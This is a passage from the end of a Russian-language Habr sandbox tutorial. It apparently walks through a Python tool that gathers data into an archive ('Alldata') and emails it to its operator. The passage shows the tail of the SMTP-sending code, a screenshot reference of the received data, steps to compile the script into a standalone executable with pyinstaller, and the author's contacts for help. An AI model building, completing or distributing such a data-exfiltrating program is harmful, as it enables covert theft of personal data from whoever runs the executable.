отправится', msg.as_string()) s.quit() i = input() Вот что пришло. https://habr.com/en/sandbox/135410/ Page 18 of 20 Вот что в архиве. В тхт Alldata. Сборка. Открываете cmd консоль и пишете cd и путь к папке где лежит ваш файл с кодом, ентер. cd и путь к файлу. Теперь pyinstaller --onefile название вашего файла.py, ентер. https://habr.com/en/sandbox/135410/ Page 19 of 20 Ссылки m228228 — Пишите мне в вк если что-то не работает, у самого постоянно ошибки лезутXD. @AndrewJess — или тут спрашивайте. Source: https://habr.com/en/sandbox/135410/ https://habr.com/en/sandbox/135410/ Page 20 of 20